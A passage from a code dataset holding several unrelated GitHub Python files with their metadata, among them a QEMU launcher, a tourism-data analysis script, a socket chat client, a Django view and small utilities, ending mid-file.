\"\"\"\n Draws a sample from the prior.\n\n :returns: \\\n A single sample from the prior distribution as a 1D ``numpy.ndarray``.\n \"\"\"\n return uniform(low=self.lower, high=self.upper)\n\n @classmethod\n def combine(cls, priors):\n if not all(isinstance(p, cls) for p in priors):\n raise ValueError(f\"All prior objects being combined must be of type {cls}\")\n\n variables = []\n for p in priors:\n variables.extend(p.variables)\n\n lower = concatenate([p.lower for p in priors])\n upper = concatenate([p.upper for p in priors])\n\n return cls(lower=lower, upper=upper, variable_indices=variables)\n","repo_name":"C-bowman/inference-tools","sub_path":"inference/priors.py","file_name":"priors.py","file_ext":"py","file_size_in_byte":14752,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"29"} +{"seq_id":"19628268823","text":"import os\nimport sys\n\nclass Fs(object):\n @staticmethod\n def list_files(paths):\n queue = list()\n queue.extend(paths)\n while queue:\n to_scan = queue.pop(0)\n if os.path.isfile(to_scan):\n yield to_scan\n else:\n for entry in os.scandir(to_scan):\n full_path = entry.path\n if entry.is_dir():\n queue.append(full_path)\n elif entry.is_file():\n yield full_path\n\nclass Sources(object):\n def __init__(self):\n self._tags = dict()\n\n def try_add(self, path):\n if path.endswith(('.h', '.cpp')):\n self._add(Sources._normalize(path))\n\n def try_find(self, tag):\n for (file_tag, path) in self._tags.items():\n if tag >= file_tag and tag - file_tag < 65535:\n return (path, tag - file_tag)\n return (None, None)\n\n def _add(self, path):\n tag = Sources._get_tag(path)\n if tag in self._tags:\n raise Exception('Duplicated entries for tag {}: {} and {}'.format(tag, path, self._tags[tag]))\n self._tags[tag] = path\n\n @staticmethod\n def _normalize(path):\n return path.replace('\\\\', '/').lower()\n\n @staticmethod\n def _get_tag(path):\n res = 5381\n for c in path.encode():\n res = (res * 33 + c) & 0xffffffff\n return res\n\ndef fill_tags(dirs):\n if len(dirs) < 1:\n raise Exception('No dirs to find')\n result = Sources()\n for src in Fs.list_files(dirs):\n result.try_add(src)\n return result\n\nif __name__ == '__main__':\n tags = fill_tags(['src', 'include', 'apps'])\n for tag in sys.argv[1:]:\n (path, line) = tags.try_find(int(tag, 10))\n if path:\n print('{} = {}:{}'.format(tag, path, line))\n else:\n print('{} not found!'.format(tag))\n","repo_name":"vitamin-caig/zxtune","sub_path":"make/tools/find_source.py","file_name":"find_source.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":137,"dataset":"github-code","pt":"29"} +{"seq_id":"9354577780","text":"#!/usr/bin/python2.7\n\nimport os\n\nimport lib.misc as misc\nimport lib.config as config\nimport lib.message as message\nimport actions.common as common\n\ndef main():\n common.check_filesystem()\n\n message.sub_info('Gathering information')\n arch = misc.chroot_exec(('dpkg', '--print-architecture'), prepare=False, \\\n mount=False, output=True)\n distrib = common.get_value(config.FILESYSTEM_DIR + '/etc/lsb-release', \\\n 'DISTRIB_ID=')\n release = common.get_value(config.FILESYSTEM_DIR + '/etc/lsb-release', \\\n 'DISTRIB_RELEASE=')\n message.sub_debug('Architecture', arch)\n message.sub_debug('Distribution (DISTRIB_ID)', distrib)\n message.sub_debug('Release (DISTRIB_RELEASE)', release)\n\n if isinstance(arch, bytes): # For some reason this is of type 'bytes'.\n if int(sys.version_info[0]) >= 3: # If we're running under python3\n arch = str(arch, 'utf-8')\n else: # Otherwise just cast it to a str without the 'utf-8' option.\n arch = str(arch)\n \n iso_file = '%s/%s-%s-%s.iso' % (config.WORK_DIR, distrib, arch, release)\n if not os.path.exists(iso_file):\n raise(message.exception('ISO image does not exist', iso_file))\n\n message.sub_info('Running QEMU with ISO image', iso_file)\n host_arch = os.uname()[4]\n if host_arch == 'x86_64':\n qemu = misc.whereis('qemu-system-x86_64')\n else:\n qemu = misc.whereis('qemu-system-i386')\n if not qemu:\n raise(message.exception('QEMU is not installed'))\n\n qemu_kvm = False\n command = [qemu, '-m', config.VRAM, '-cdrom', iso_file]\n if misc.search_string('-enable-kvm', misc.get_output((qemu, '-h'))):\n qemu_kvm = True\n # CPU flag: \"vmx\" for Intel processors, \"svm\" for AMD processors\n # These flags are hidden in Xen environment\n # https://wiki.xenproject.org/wiki/Xen_Common_Problems\n host_kvm = False\n if os.path.exists('/dev/kvm') and os.path.exists('/proc/cpuinfo') and \\\n misc.search_file('(?:\\\\s|^)flags.*(?:\\\\s)(vmx|svm)(?:\\\\s|$)', \\\n '/proc/cpuinfo', escape=False):\n host_kvm = True\n if qemu_kvm and host_kvm:\n command.append('-enable-kvm')\n message.sub_debug('Host architecture', host_arch)\n message.sub_debug('QEMU KVM', qemu_kvm)\n message.sub_debug('Host KVM', host_kvm)\n misc.system_command(command)\n","repo_name":"kamilion/customizer","sub_path":"src/actions/qemu.py","file_name":"qemu.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":298,"dataset":"github-code","pt":"29"} +{"seq_id":"73679742873","text":"fin = open(\"input_20.txt\").read().strip().split('\\n')\n\ndef solve(key,rounds):\n nlist = [int(x)*key for x in fin]\n ll = len(nlist)-1\n ilist = list(range(ll+1))\n\n for _ in range(rounds):\n for i in range(ll+1):\n idx = ilist.index(i)\n ilist.pop(idx)\n ilist.insert((nlist[i]+idx)%ll,i)\n\n zidx = ilist.index(nlist.index(0))\n return sum(nlist[ilist[(zidx+k*1000)%(ll+1)]] for k in [1,2,3])\n\n\nprint(solve(1,1))\nprint(solve(811589153,10))\n","repo_name":"georgwille/aoc2022","sub_path":"aoc_20c.py","file_name":"aoc_20c.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26532789305","text":"#########################################################################\n#Title: Project Scenario - Data Analysis\n#Description: This program allows user to read content from the file and identity the top 3 countries of visitors to Singapore from a specific region over a span of 10 years. \n#Name: Jovan Lim\n#Class: PN2004L\n#Date: 19/2/2021\n#Version: 3.8.2\n#########################################################################\n\n#########################################################################\n#Class - calculate Utility\n#Read content from the file and identity the top 3 countries of visitors to Singapore from a specific region over a span of 10 years.\n#########################################################################\n#Use pandas library for data analysis\nimport pandas as pd\n#creates table-like custom objects from the items in CSV files\nimport csv\n\nclass top3countries:\n def __init__(self):\n #Function to calculate total visitors in each countries over a span of 10 years and list the top 3\n CalculateTotalVisitors()\n\n#########################################################################\n#Functon - CalculateTotalVisitors\n#Read content from the file and calculate total visitors in each countries over a span of 10 years and list the top 3\n#########################################################################\ndef CalculateTotalVisitors():\n\n path = 'MonthyVisitors.csv'\n #open file as READ-ONLY\n file = open(path, 'r')\n #Return a reader object which will iterate over lines in the given csvfile\n reader = csv.reader(file)\n # fetch next item from the collection and place it in the variable header \n header = next(reader)\n #initialise lists and variables\n each_countries_total_visitors = []\n japan_visitors = []\n hk_visitors = []\n china_visitors = []\n taiwan_visitors = []\n korea_visitors = []\n data = []\n\n #Parse (remove irrelevant data regions) the data based on requirement\n for row in reader:\n # row = [Year,Month,\" Japan \",\" Hong Kong \",\" China \",\" Taiwan \",\" Korea, Republic Of \"]\n year = int(row[0])\n month = str(row[1])\n japan = int(row[9])\n hk = int(row[10])\n china = int(row[11])\n taiwan = int(row[12])\n korea = int(row[13])\n\n data.append([year, month, japan, hk, china, taiwan, korea])\n #close the file\n file.close()\n #parse the required range of data (over a span of 10 years) into the lists\n for a in range(0, len(data)):\n dataSEA = data[a]\n japan_visitors.append(dataSEA[2])\n hk_visitors.append(dataSEA[3])\n china_visitors.append(dataSEA[4])\n taiwan_visitors.append(dataSEA[5])\n korea_visitors.append(dataSEA[6])\n #each countries total sum of visitors in Singapore over a span of 10 years\n total_japan_visitors = sum(japan_visitors)\n total_hk_visitors = sum(hk_visitors)\n total_china_visitors = sum(china_visitors)\n total_taiwan_visitors = sum(taiwan_visitors)\n total_korea_visitors = sum(korea_visitors)\n #add each countries total visitors value together to form a list\n each_countries_total_visitors.append(total_japan_visitors)\n each_countries_total_visitors.append(total_hk_visitors)\n each_countries_total_visitors.append(total_china_visitors)\n each_countries_total_visitors.append(total_taiwan_visitors)\n each_countries_total_visitors.append(total_korea_visitors)\n #sort the values from smallest to highest (left to right)\n each_countries_total_visitors.sort()\n #removes the items one by one from the lists starting from the highest and assigned a variable each to the return value\n first = each_countries_total_visitors.pop()\n second = each_countries_total_visitors.pop()\n third = each_countries_total_visitors.pop()\n fouth = each_countries_total_visitors.pop()\n fifth = each_countries_total_visitors.pop()\n #Find out which countries have the most visitors count\n #Check if the highest country visitors count is equal to any of the sum of visitors from each countries\n if first == total_japan_visitors:\n print(\"1st: \" + header[9] + \" - \" + str(first))\n else:\n if first == total_hk_visitors:\n print(\"1st: \" + header[10] + \" - \" + str(first))\n else:\n if first == total_china_visitors:\n print(\"1st: \" + header[11] + \" - \" + str(first))\n else:\n if first == total_taiwan_visitors:\n print(\"1st: \" + header[12] + \" - \" + str(first))\n else:\n if first == total_korea_visitors:\n print(\"1st: \" + header[13] + \" - \" + str(first))\n #Check if the second highest country visitors count is equal to any of the sum of visitors from each countries\n if second == total_japan_visitors:\n print(\"2nd: \" + header[9] + \" - \" + str(second))\n else:\n if second == total_hk_visitors:\n print(\"2nd: \" + header[10] + \" - \" + str(second))\n else:\n if second == total_china_visitors:\n print(\"2nd: \" + header[11] + \" - \" + str(second))\n else:\n if second == total_taiwan_visitors:\n print(\"2nd: \" + header[12] + \" - \" + str(second))\n else:\n if fifth == total_korea_visitors:\n print(\"2nd: \" + header[13] + \" - \" + str(second))\n #Check if the third highest country visitors count is equal to any of the sum of visitors from each countries\n if third == total_japan_visitors:\n print(\"3rd: \" + header[9] + \" - \" + str(third))\n else:\n if third == total_hk_visitors:\n print(\"3rd: \" + header[10] + \" - \" + str(third))\n else:\n if third == total_china_visitors:\n print(\"3rd: \" + header[11] + \" - \" + str(third))\n else:\n if third == total_taiwan_visitors:\n print(\"3rd: \" + header[12] + \" - \" + str(third))\n else:\n if third == total_korea_visitors:\n print(\"3rd: \" + header[13] + \" - \" + str(third))\n #Check if the fouth highest country visitors count is equal to any of the sum of visitors from each countries\n if fouth == total_japan_visitors:\n print(\"Other: \" + header[9] + \" - \" + str(fouth))\n else:\n if fouth == total_hk_visitors:\n print(\"Other: \" + header[10] + \" - \" + str(fouth))\n else:\n if fouth == total_china_visitors:\n print(\"Other: \" + header[11] + \" - \" + str(fouth))\n else:\n if fouth == total_taiwan_visitors:\n print(\"Other: \" + header[12] + \" - \" + str(fouth))\n else:\n if fouth == total_korea_visitors:\n print(\"Other: \" + header[13] + \" - \" + str(fouth))\n #Check if the smallest country visitors count is equal to any of the sum of visitors from each countries\n if fifth == total_japan_visitors:\n print(\"Other: \" + header[9] + \" - \" + str(fifth))\n else:\n if fifth == total_hk_visitors:\n print(\"Other: \" + header[10] + \" - \" + str(fifth))\n else:\n if fifth == total_china_visitors:\n print(\"Other: \" + header[11] + \" - \" + str(fifth))\n else:\n if fifth == total_taiwan_visitors:\n print(\"Other: \" + header[12] + \" - \" + str(fifth))\n else:\n if fifth == total_korea_visitors:\n print(\"Other: \" + header[13] + \" - \" + str(fifth))\n\n return\n#########################################################################\n# FUNCTION Branch: End of Code\n#########################################################################\n\n#########################################################################\n# Main Branch\n#########################################################################\nif __name__ == '__main__':\n #program Title\n print(\"#######################################################################################\")\n print(\"data analyses - top 3 countries of visitors in the Asia-Pacific Region to Singapore over a span of 10 years\")\n print(\"#######################################################################################\")\n #identify top 3\n top3countries()\n\n # load excel data (CSV format) to dataframe - 'df'\n df = pd.read_csv('MonthyVisitors.csv')\n\n path = 'MonthyVisitors.csv'\n #open file as READ-ONLY\n file = open(path, 'r')\n #Return a reader object which will iterate over lines in the given csvfile\n reader = csv.reader(file)\n # fetch next item from the collection and place it in the variable header \n header = next(reader)\n # show available regions to user\n available_Regions = ['Southeast Asia', 'Asia Pacific', 'South Asia Pacific', 'Middle East', 'Europe', 'North America', 'Australia', 'Africa']\n print( \"\\n\\n\" + \"Available regions:\", available_Regions)\n # prompt user to enter a region\n region = str(input(\"Enter a region: \"))\n print(\"\")\n # error checking for each region, if region isdigit, prompt error. Else (if no error), initialize each of the region's respective variable with their respective dataframe\n while True:\n # variable\n i = 0\n # if user enter empty string, loop input until valid\n if region == \"\":\n region = str(input(\"Please enter a region: \"))\n elif region.isdigit():\n print(\"Invalid format.\")\n break\n else:\n if region == 'Southeast Asia':\n print( \"\\n\\n\" + \"Available countries:\", header[2:9])\n i += 1\n break\n elif region == 'Asia Pacific':\n print( \"\\n\\n\" + \"Available countries:\", header[9:14])\n i += 1\n break\n elif region == 'South Asia Pacific':\n print( \"\\n\\n\" + \"Available countries:\", header[14:17])\n i += 1\n break\n elif region == 'Middle East':\n print( \"\\n\\n\" + \"Available countries:\", header[17:20])\n i += 1\n break\n elif region == 'Europe':\n print( \"\\n\\n\" + \"Available countries:\", header[20:31])\n i += 1\n break\n elif region == 'North America':\n print( \"\\n\\n\" + \"Available countries:\", header[31:33])\n i += 1\n break\n elif region == 'Australia':\n print( \"\\n\\n\" + \"Available countries:\", header[33:35])\n i += 1\n break\n elif region == 'Africa':\n print( \"\\n\\n\" + \"Available countries:\", header[35:36])\n i += 1\n break\n else:\n print(\"Error. Please check for spelling errors.\")\n break\n \n if i >= 1: # the variable 'i' will be the indicator for whether the program will run this part of code or not\n # show available year range to user\n year_range = ['1978 - 1987', '1988 - 1997', '1998 - 2007', '2008 - 2017']\n while True:\n print(\"Year range:\", year_range)\n year = input(\"Enter the starting year: \")\n try:\n year = int(year)\n except:\n print(\"Invalid format.\")\n break\n else:\n # 1978\n if year == 1978 and region == 'Southeast Asia':\n SEA_region = df.iloc[:120,:9]\n print(SEA_region)\n break\n elif year == 1978 and region == 'Asia Pacific':\n # print out result of the combination of dataframes\n years = df.iloc[:120,:2]\n AP_region = df.iloc[:120,9:14]\n result = years.join(AP_region)\n print(result)\n break\n # same process for the rest below\n elif year == 1978 and region == 'South Asia Pacific':\n years = df.iloc[:120,:2]\n SAP_region = df.iloc[:120,14:17]\n result = years.join(SAP_region)\n print(result)\n break\n elif year == 1978 and region == 'Middle East':\n years = df.iloc[:120,:2]\n ME_region = df.iloc[:120,17:20]\n result = years.join(ME_region)\n print(\"Total number of countries:\", str(len(result.columns) - 2) + \"\\n\")\n print(result)\n break\n elif year == 1978 and region == 'Europe':\n years = df.iloc[:120,:2]\n EU_region = df.iloc[:120,20:31]\n result = years.join(EU_region)\n print(result)\n break\n elif year == 1978 and region == 'North America':\n years = df.iloc[:120,:2]\n NA_region = df.iloc[:120,31:33]\n result = years.join(NA_region)\n print(result)\n break\n elif year == 1978 and region == 'Australia':\n years = df.iloc[:120,:2]\n AUS_region = df.iloc[:120,33:35]\n result = years.join(AUS_region)\n print(result)\n i += 1\n break\n elif year == 1978 and region == 'Africa':\n years = df.iloc[:120,:2]\n AF_region = df.iloc[:120,35:36]\n result = years.join(AF_region)\n print(result)\n i += 1\n break\n # 1988\n elif year == 1988 and region == 'Southeast Asia':\n SEA_region = df.iloc[120:240,:9]\n print(SEA_region)\n i += 1\n break\n elif year == 1988 and region == 'Asia Pacific':\n years = df.iloc[120:240,:2]\n AP_region = df.iloc[120:240,9:14]\n result = years.join(AP_region)\n print(result)\n i += 1\n break\n elif year == 1988 and region == 'South Asia Pacific':\n years = df.iloc[120:240,:2]\n SAP_region = df.iloc[120:240,14:17]\n result = years.join(SAP_region)\n print(result)\n i += 1\n break\n elif year == 1988 and region == 'Middle East':\n years = df.iloc[120:240,:2]\n ME_region = df.iloc[120:240,17:20]\n result = years.join(ME_region)\n print(result)\n i += 1\n break\n elif year == 1988 and region == 'Europe':\n years = df.iloc[120:240,:2]\n EU_region = df.iloc[120:240,20:31]\n result = years.join(EU_region)\n print(result)\n i += 1\n break\n elif year == 1988 and region == 'North America':\n years = df.iloc[120:240,:2]\n NA_region = df.iloc[120:240,31:33]\n result = years.join(NA_region)\n print(result)\n i += 1\n break\n elif year == 1988 and region == 'Australia':\n years = df.iloc[120:240,:2]\n AUS_region = df.iloc[120:240,33:35]\n result = years.join(AUS_region)\n print(result)\n i += 1\n break\n elif year == 1988 and region == 'Africa':\n years = df.iloc[120:240,:2]\n AF_region = df.iloc[120:240,35:36]\n result = years.join(AF_region)\n print(result)\n i += 1\n break\n # 1998\n elif year == 1998 and region == 'Southeast Asia':\n SEA_region = df.iloc[240:360,:9]\n print(SEA_region)\n i += 1\n break\n elif year == 1998 and region == 'Asia Pacific':\n years = df.iloc[240:360,:2]\n AP_region = df.iloc[240:360,9:14]\n result = years.join(AP_region)\n print(result)\n i += 1\n break\n elif year == 1998 and region == 'South Asia Pacific':\n years = df.iloc[240:360,:2]\n SAP_region = df.iloc[240:360,14:17]\n result = years.join(SAP_region)\n print(result)\n i += 1\n break\n elif year == 1998 and region == 'Middle East':\n years = df.iloc[240:360,:2]\n ME_region = df.iloc[240:360,17:20]\n result = years.join(ME_region)\n print(result)\n i += 1\n break\n elif year == 1998 and region == 'Europe':\n years = df.iloc[240:360,:2]\n EU_region = df.iloc[240:360,20:31]\n result = years.join(EU_region)\n print(result)\n i += 1\n break\n elif year == 1998 and region == 'North America':\n years = df.iloc[240:360,:2]\n NA_region = df.iloc[240:360,31:33]\n result = years.join(NA_region)\n print(result)\n i += 1\n break\n elif year == 1998 and region == 'Australia':\n years = df.iloc[240:360,:2]\n AUS_region = df.iloc[240:360,33:35]\n result = years.join(AUS_region)\n print(result)\n i += 1\n break\n elif year == 1998 and region == 'Africa':\n years = df.iloc[240:360,:2]\n AF_region = df.iloc[240:360,35:36]\n result = years.join(AF_region)\n print(result)\n i += 1\n break\n # 2008\n elif year == 2008 and region == 'Southeast Asia':\n SEA_region = df.iloc[360:,:9]\n print(SEA_region)\n i += 1\n break\n elif year == 2008 and region == 'Asia Pacific':\n years = df.iloc[360:,:2]\n AP_region = df.iloc[360:,9:14]\n result = years.join(AP_region)\n print(result)\n i += 1\n break\n elif year == 2008 and region == 'South Asia Pacific':\n years = df.iloc[360:,:2]\n SAP_region = df.iloc[360:,14:17]\n result = years.join(SAP_region)\n print(result)\n i += 1\n break\n elif year == 2008 and region == 'Middle East':\n years = df.iloc[360:,:2]\n ME_region = df.iloc[360:,17:20]\n result = years.join(ME_region)\n print(result)\n i += 1\n break\n elif year == 2008 and region == 'Europe':\n years = df.iloc[360:,:2]\n EU_region = df.iloc[360:,20:31]\n result = years.join(EU_region)\n print(result)\n i += 1\n break\n elif year == 2008 and region == 'North America':\n years = df.iloc[360:,:2]\n NA_region = df.iloc[360:,31:33]\n result = years.join(NA_region)\n print(result)\n i += 1\n break\n elif year == 2008 and region == 'Australia':\n years = df.iloc[360:,:2]\n AUS_region = df.iloc[360:,33:35]\n result = years.join(AUS_region)\n print(result)\n i += 1\n break\n elif year == 2008 and region == 'Africa':\n years = df.iloc[360:,:2]\n AF_region = df.iloc[360:,35:36]\n result = years.join(AF_region)\n print(result)\n column_name = df.iloc[9:10]\n column_sum = df[column_name].sum()\n print(column_sum)\n i += 1\n break\n else:\n print(\"Error. Please ensure that you picked a valid year.\")\n break\n #import time for delay \n import time\n #number of seconds delay\n time.sleep(1) \n #import matplotlib.pyplot for pie chart\n import matplotlib.pyplot as pit\n\n #The list for top 3 countries of the most amount of visitors in all region between the year 1978-2017\n activities = ['Indonesia', 'Japan', 'China']\n\n #The list for the amount of visitors in S.E.A region between the year 1978-2017\n slices = [42860566, 27353174, 26781571]\n\n #The list for the colours \n colours = ['r', 'g', 'm']\n\n #creating the pie chart\n pit.pie(slices,\n labels=activities,\n startangle=90,\n shadow=True,\n explode=(0.2, 0, 0),\n autopct='%1.2f%%')\n \n #creating the legend\n pit.legend()\n #Showing the pie chart\n pit.show()\n\n \n#########################################################################\n# Main Branch: End of Code\n#########################################################################","repo_name":"Jovanlimzq/DA_JAB","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"837314723","text":"#from tkinter import X\nfrom PIL import Image\nimport os\nimport re\nfrom glob import glob\n# import tkinter,tkinter.filedialog\n# root=tkinter.Tk()\n\n#dirname=tkinter.filedialog.askdirectory(parent=root, initialdir=\"/\",title=\"Please select a workspace with cropped images\")\ndef reconstruct(dirname):\n directory_list = glob(os.path.join(dirname,\"*.png\"))\n r= re.compile(\".*[0-9]+_[0-9]+.*\")\n directory_list = list(filter(r.search, directory_list ))\n\n xCoordList=list()\n yCoordList=list()\n dictionary = dict()\n for f in directory_list:\n splitString=os.path.basename(f).split(\"_\")\n xCoord,yCoord=\"\",\"\"\n matchX = re.match(r\"([a-z]+)([0-9]+)\",splitString[0])\n if matchX:\n items = matchX.groups()\n locationName=items[0]\n xCoord=items[1]\n matchY = re.match(r\"([0-9]+).([a-z]+)\",splitString[1])\n if matchY:\n items = matchY.groups()\n yCoord=items[0]\n if(xCoord not in dictionary.keys()):\n dictionary[xCoord]=dict()\n # save image in corresponding x y coordinate\n dictionary[xCoord][yCoord]=Image.open(os.path.join(dirname,f))\n # store unique X y coord combo\n if int(xCoord) not in xCoordList:\n xCoordList.append(int(xCoord))\n if int(yCoord) not in yCoordList:\n yCoordList.append(int(yCoord))\n\n xCoordList.sort()\n yCoordList.sort()\n\n maxWidth=0\n maxHeight=0\n\n for i in yCoordList:\n maxWidth=maxWidth+dictionary[\"0\"][str(i)].width\n for i in xCoordList:\n maxHeight=maxHeight+dictionary[str(i)][\"0\"].height\n lastHeight=0\n lastUsedWidth=0\n\n outputFinal=Image.new('L',(maxWidth,maxHeight))\n for xCoord in xCoordList:\n output=Image.new('L',(maxWidth,dictionary[str(xCoord)][\"0\"].height))\n for yCoord in yCoordList:\n #print(str(lastUsedWidth)+\"-\"+str(lastHeight))\n output.paste(dictionary[str(xCoord)][str(yCoord)],(lastUsedWidth,0))\n lastUsedWidth+=dictionary[str(xCoord)][str(yCoord)].width\n\n outputFinal.paste(output,(0,lastHeight))\n lastHeight+=dictionary[str(xCoord)][\"0\"].height\n lastUsedWidth=0\n \n return outputFinal\n\n","repo_name":"elankford/helm-data-plus-2022","sub_path":"utils/deprecated/imageReconstruction.py","file_name":"imageReconstruction.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37060228045","text":"import socket, sys, select, time\n\n#####################################################################\n# Imports #\n# time -> Let's us introduce the needed delays when sending images! #\n#####################################################################\n\n# NOTE: The socket module has a sendfile() method but we decided to manually do it ourselves.\n# NOTE: At least for the first time...\n\n#############################################################################################\n# How cool are ANSI Escape Sequences? #\n# ANSI Escape Sequences are, as their name implies, special sequences that we can print #\n# to a terminal to control its behavior instead of showing characters on screen. You can #\n# find a very comprehensive table over at https://en.wikipedia.org/wiki/ANSI_escape_code. #\n# We have used the following sequences which can be found in the aforementioned site: #\n# ESC[nF -> Move the cursor to the beginning of the line n lines up #\n# ESC[nG -> Move the cursor to column n in the current line #\n# ESC[2K -> Erase the entire line without changing the cursor¡s position #\n# Note the ESC character is given by 0x1B or 27 as seen in the ASCII table, that's why #\n# you see the leading \\x1B in these sequences. Tradition has it that we use the octal #\n# equivalent, \\033, but we are more of the \"hexy\" kind... Combining these escape sequences #\n# with the program flow we have amanged to build a more visually appealing CLI for our chat #\n# client but it's still not as robust as we would like it to be... #\n#############################################################################################\n\ndef main():\n if len(sys.argv) != 4:\n print(\"Use: {} <server_IP> <server_port> <username>\".format(sys.argv[0]))\n exit(-1)\n elif sys.argv[3] == 'serving_sock':\n print(\"This username is restricted... Use another one!\")\n exit(-1)\n\n # CLI Stuff\n prompt = 'Type something --> '\n clear_prompt = \"\\x1B[1G\" + \"\\x1B[2K\"\n clear_input = \"\\x1B[1F\" + \"\\x1B[2K\"\n\n # We could also use this clear_prompt sequence depending on our taste!\n # clear_prompt = \"\\x1B[\" + str(len(prompt)) + \"D\" + \"\\x1B[2K\"\n\n # Set up our connection socket\n info_sources = [socket.socket(socket.AF_INET, socket.SOCK_STREAM), sys.stdin]\n info_sources[0].connect((sys.argv[1], int(sys.argv[2])))\n\n # Send the username as soon as you connect so that the server can move on!\n info_sources[0].sendall(sys.argv[3].encode())\n\n print(\"We're connected to -> {}:{}\".format(sys.argv[1], sys.argv[2]))\n\n # Variables for controlling image sending and reception\n inc_file = None\n reading_file = False\n rcv_bytes = 0\n\n try:\n while True:\n\n # If we are receiving an image don't write the prompt. Note we are flushing it because there\n # is no trailing newline ('\\n'). Most terminals won't clear the buffers until they see one...\n if not reading_file:\n print(prompt, end = '', flush = True)\n for src in select.select(info_sources, [], [])[0]:\n\n # If the user has typed a message\n if src == sys.stdin:\n\n # Read it\n inc_msg = sys.stdin.readline().rstrip()\n\n # If they want to send an image\n if \"send_img\" in inc_msg:\n\n # Open it up for reading IN BINARY after getting the filename\n f_name = inc_msg.split(' ')[1]\n img = open(f_name, 'rb')\n img_data = img.read()\n\n # Inform the server and clients that you're about to send an image and its lenght\n info_sources[0].sendall((\"IMG_INCOMING!;\" + str(len(img_data))).encode())\n\n # Wait to make sure TCP buffers are cleared!\n time.sleep(0.1)\n\n # Send all the data\n info_sources[0].sendall(img_data)\n\n # Close the file and move on\n img.close()\n\n # If we are not sending an image\n else:\n # Build the output message by appending your username\n out_msg = sys.argv[3] + \" -> \" + inc_msg\n\n # Print the message to your own screen\n print(clear_input + out_msg)\n\n # Ans send it to the server\n info_sources[0].sendall(out_msg.encode())\n\n # If we are receiving a message\n else:\n # And it's not a file\n if not reading_file:\n\n # We can safely decode it\n i_msg = info_sources[0].recv(8148).decode()\n\n # The server has either kicked us out or gone down, just quit\n if i_msg == '':\n raise KeyboardInterrupt\n\n # If an image is about to come\n elif 'IMG_INCOMING!' in i_msg:\n\n # Get the total incoming bytes\n rcv_bytes = int(i_msg.split(';')[1])\n\n # Tell the user\n print(clear_prompt + \"Image incoming!\\tSize: {}\".format(rcv_bytes))\n\n # Open a file for storing the incoming data\n inc_file = open(\"rcv_img.jpg\", 'wb')\n\n # And activate the reading mode, again, to prevent decoding illegal bytes\n reading_file = True\n\n # If there is no file coming just print the message\n else:\n print(clear_prompt + i_msg)\n\n # While we are reading an image\n else:\n\n # Read the data without attempting to decode it\n i_msg = info_sources[0].recv(8148)\n\n # Keep track of the received bytes\n rcv_bytes -= len(i_msg)\n\n # Write the data to the opened file\n inc_file.write(i_msg)\n\n # When finished just close the file and deactivate the \"image mode\"\n if rcv_bytes == 0:\n reading_file = False\n inc_file.close()\n\n # If we receive CTRL + C or the server tears down our connection\n except KeyboardInterrupt:\n print(\"Quitting...\")\n\n # Close our socket and just quit\n info_sources[0].close()\n exit(0)\n\nif __name__ == \"__main__\":\n main()","repo_name":"UAH-s-Telematics-Engineering-Tasks/net_services_system_lab","sub_path":"1_socket_stuff/Chat_networks/Client_server_arch/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":6972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16557865713","text":"from django.shortcuts import render\nfrom testapp.forms import EmployeeForm\n\n# Create your views here.\n\n\ndef employeeView(request):\n form=EmployeeForm()\n if request.method==\"POST\":\n form=EmployeeForm(request.POST)\n\n if form.is_valid():\n form.save()\n\n\n my_dict={'form':form}\n return render(request,\"home.html\",my_dict)\n","repo_name":"uday525252/hahahahhaha","sub_path":"testapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15897287801","text":"class Publicacao:\n def __init__(self, n, at):\n self.nome = n\n self.autor = at\n def tostring(self):\n print(self.nome)\n print(self.autor)\n \n\nclass Tree(Publicacao):\n def __init__(self, nome, at):\n self.pub = Publicacao(nome, at)\n self.left = None\n self.right = None\n if nome=='artigo':\n self.art=1\n self.publ=0\n else:\n self.art=0\n self.publ=1\n def insere(self, nome, at):\n self.pub = Publicacao(nome, at)\n if self.pub.nome == 'revistas' or 'jornais' or 'cadernos':\n self.publ = self.publ + 1\n if self.pub.nome == 'artigo':\n self.art = self.art + 1\n if self.left==None:\n self.left=Tree(nome, at)\n if self.right==None:\n self.right=Tree(nome, at)\n if self.left.pub=='artigo':#filho é um artigo\n self.right=Tree(nome, at)\n if self.right.pub=='artigo': #filho é um artigo\n self.left=Tree(nome, at)\n def getcount(self):\n print('Publicações:', self.publ-self.art)\n print('Artigos:', self.art)\n def tostring(self, Tree):\n if Tree==None:\n return\n Tree.left.pub.tostring()\n Tree.right.pub.tostring()\n\n\na = Tree('jornal', '')\na.insere('artigo', 'henrique')\na.insere('caderno', '')\na.insere('artigo', 'ana clara')\na.insere('revista', '')\na.insere('artigo', '')\na.getcount()\na.tostring(a)\n\n","repo_name":"anamueller/Projeto-Orientado-a-Objetos","sub_path":"Exercicio3/Exercicio3/publicacao.py","file_name":"publicacao.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5020412677","text":"from FDD import FDD\nfrom FDD.SURE import SURE\nimport numpy as np\nimport pandas as pd\nimport torch \nfrom matplotlib import pyplot as plt\nimport ray\nimport boto3\nfrom mpl_toolkits.mplot3d import Axes3D\nimport pickle\n\ndef ft(x, y, z, jsize):\n temp = np.sqrt((x - 1/2)**2 + (y - 1/2)**2 + (z - 1/2)**2)\n if temp < 1/4:\n return temp\n else:\n return temp + jsize\n\ndef generate3D(jsize=0.1, sigma=0.02, N=500):\n data = np.random.rand(N, 3) # draw 1000 3D points from a uniform\n\n # now sample the function values on the data points\n grid_sample = np.zeros((data.shape[0],1))\n grid_f = np.zeros((data.shape[0],1))\n for i in 